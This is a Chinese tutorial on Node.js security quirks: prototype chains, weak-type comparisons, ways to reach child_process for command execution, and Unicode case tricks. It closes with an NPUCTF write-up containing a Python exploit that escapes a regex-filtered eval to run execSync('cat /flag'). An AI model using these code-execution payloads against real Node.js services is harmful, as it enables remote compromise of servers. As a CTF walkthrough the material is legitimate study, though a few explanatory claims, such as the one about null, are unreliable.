nodejs一些入门特性&&实战
字数 1278 2025-08-20 18:18:05
Node.js 安全特性与实战解析
一、JavaScript 原型链机制
1. 原型基础概念
JavaScript 采用基于原型的继承模型,几乎所有对象都是 Object 的实例。与传统的类继承不同,JavaScript 没有真正的类概念,只有对象。
创建对象示例:
function testfn() {
this.a = 1;
this.b = 2;
}
var ob = new testfn();
原始类型创建对象:
a = "test"; // 字符串
b = 1; // 数字
c = false; // 布尔
2. 特殊类型行为
JavaScript 的类型系统有其特殊性:
console.log(typeof(null)); // 输出 "object"
null 在 JavaScript 中被称为原型对象,是所有对象的源点。
3. 数据类型分类
基本类型:
- String
- Number
- Boolean
- null
- undefined
引用类型:
- Object
- Array
- RegExp
- Date
- Function
这些数据类型本质上都是 JavaScript 的内置对象。
4. 原型访问方式
function testfn() {
this.a = 1;
this.b = 2;
}
var ob = new testfn();
// 函数原型访问
console.log(testfn["__proto__"]);
console.log(testfn.__proto__);
console.log(testfn.constructor.prototype);
// 对象原型访问
console.log(ob["__proto__"]);
console.log(ob.__proto__);
console.log(ob.constructor.prototype);
// 重要关系:ob.__proto__ == testfn.prototype
5. 原型链示例
Array.prototype.test = function test() {
console.log("Come from prototype");
}
a = []
a.test() // 输出 "Come from prototype"
原型链关系:
console.log([].__proto__); // Array
console.log([].__proto__.__proto__); // Object
console.log([].__proto__.__proto__.__proto__); // null
完整原型链:[] -> Array -> Object -> null
二、JavaScript 弱类型特性
1. 大小比较规则
数字与字符串比较:
console.log(1 == '1'); // true
console.log(1 > '2'); // false
console.log('1' < '2'); // true
console.log(111 > '3'); // true
console.log('111' > '3'); // false
console.log('asd' > 1); // false
规则总结:
- 数字与字符串比较时,纯数字型字符串会转为数字再比较
- 字符串间比较时,比较第一个字符的 ASCII 码
- 非数字型字符串与任何数字比较都是 false
数组比较:
console.log([] == []); // false
console.log([] > []); // false
console.log([6,2] > [5]); // true
console.log([100,2] < 'test'); // true
console.log([1,2] < '2'); // true
console.log([11,16] < "10"); // false
规则总结:
- 空数组间比较永远为 false
- 非空数组比较第一个元素
- 数组与非数值型字符串比较,数组永远小于字符串
- 数组与数值型字符串比较,比较第一个元素
特殊相等比较:
console.log(null == undefined); // true
console.log(null === undefined); // false
console.log(NaN == NaN); // false
console.log(NaN === NaN); // false
console.log(typeof(NaN)); // "number"
2. 变量拼接行为
console.log(5 + [6,6]); // "56,6"
console.log("5" + 6); // "56"
console.log("5" + [6,6]); // "56,6"
console.log("5" + ["6","6"]); // "56,6"
三、Node.js 模块加载与命令执行
1. 模块加载方式
常规 require 加载:
require('child_process').exec('calc');
通过 global 对象加载(无 require 时):
global.process.mainModule.constructor._load('child_process').exec('calc');
2. 代码执行方式
eval 执行:
eval("require('child_process').exec('calc');");
定时器执行:
setInterval(require('child_process').exec, 1000, "calc");
setTimeout(require('child_process').exec, 1000, "calc");
Function 构造函数执行:
Function("global.process.mainModule.constructor._load('child_process').exec('calc')")();
注意:Function 的上下文中没有 require,需要从 global 中获取。
四、特殊字符特性
1. 大小写转换特性
存在特殊字符:
- "ı" → toUpperCase → "I"
- "ſ" → toUpperCase → "S"
- 特殊 K 字符 → toLowerCase → "k"
五、ES6 模板字符串
1. 基本用法
替代括号执行函数:
alert`test!!`;
插入变量:
var fruit = "apple";
console.log`i like ${fruit} very much`;
2. 实现原理
模板字符串将字符串作为参数数组传入函数,遇到 ${} 时会分割字符串:
["i like ", " very much", raw: Array(2)]
限制:
eval`alert(2)` // 无法执行
六、实战案例:NPUCTF 验证码题目
1. 题目源码分析
关键代码片段:
function saferEval(str) {
if (str.replace(/(?:Math(?:\.\w+d+\.?\d*(?:e\d+)?)| /g, '')) {
return null;
}
return eval(str);
}
// 验证逻辑
if (first && second && first.length === second.length &&
first !== second &&
md5(first + keys[0]) === md5(second + keys[0])) {
// 执行 saferEval
}
2. 绕过验证逻辑
利用弱类型特性绕过:
first和second可以是不同类型但长度相同- 利用变量拼接特性:
'a'+key[0] == ['a']+key[0]
示例请求:
{
'e': "1+1",
"first": [1],
"second": "1"
}
3. 绕过 saferEval 正则
构造 payload 获取 Function:
(Math=>(Math=Math.constructor,Math.constructor(Math.fromCharCode(...))()))(Math+1)
完整利用代码:
import requests
import json
def payload():
s = "return global.process.mainModule.constructor._load('child_process').execSync('cat /flag')"
return ','.join([str(ord(i)) for i in s])
a = payload()
url = "http://xxx/"
headers = {"Content-Type": "application/json"}
e = "(Math=>(Math=Math.constructor,Math.constructor(Math.fromCharCode({0}))()))(Math+1)".format(a)
data = json.dumps({'e': e, "first": [1], "second": "1"})
r = requests.post(url, headers=headers, data=data)
print(r.text)
七、其他注意事项
let不能重复声明变量,会导致报错(暂存死区)typeof(NaN)返回 "number"Object.freeze(Object)和Object.freeze(Math)会冻结这些对象,防止修改